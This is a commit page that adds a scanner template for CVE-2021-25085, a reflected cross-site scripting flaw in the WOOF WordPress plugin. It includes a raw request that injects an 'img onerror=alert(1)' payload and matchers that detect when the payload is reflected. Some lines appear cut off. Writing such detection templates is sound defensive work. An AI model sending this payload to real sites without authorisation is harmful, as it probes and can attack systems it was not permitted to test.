Create CVE-2021-25085.yaml
parent
af29b62d9d
commit
fb05855890
|
@ -0,0 +1,33 @@
|
|||
id: CVE-2021-25085
|
||||
|
||||
info:
|
||||
name: WOOF WordPress plugin - Reflected Cross-Site Script
|
||||
author: Maximus Decimus
|
||||
severity: medium
|
||||
description: The WOOF WordPress plugin before 1.2.6.3 does not sanitise and escape the woof_redraw_elements before ou> reference:
|
||||
- https://plugins.trac.wordpress.org/changeset/2648751
|
||||
- https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||||
cvss-score: 6.1
|
||||
cve-id: CVE-2021-25085
|
||||
tags: cve,cve2021,wordpress,wp-plugin
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=%3Cimg%20src%20onerror=alert(1)%3E > Host: {{Hostname}}
|
||||
Accept: */*
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 302
|
||||
- type: word
|
||||
words:
|
||||
- "<img src onerror=alert(1)>"
|
||||
part: body
|
||||
|
||||
|
Loading…
Reference in New Issue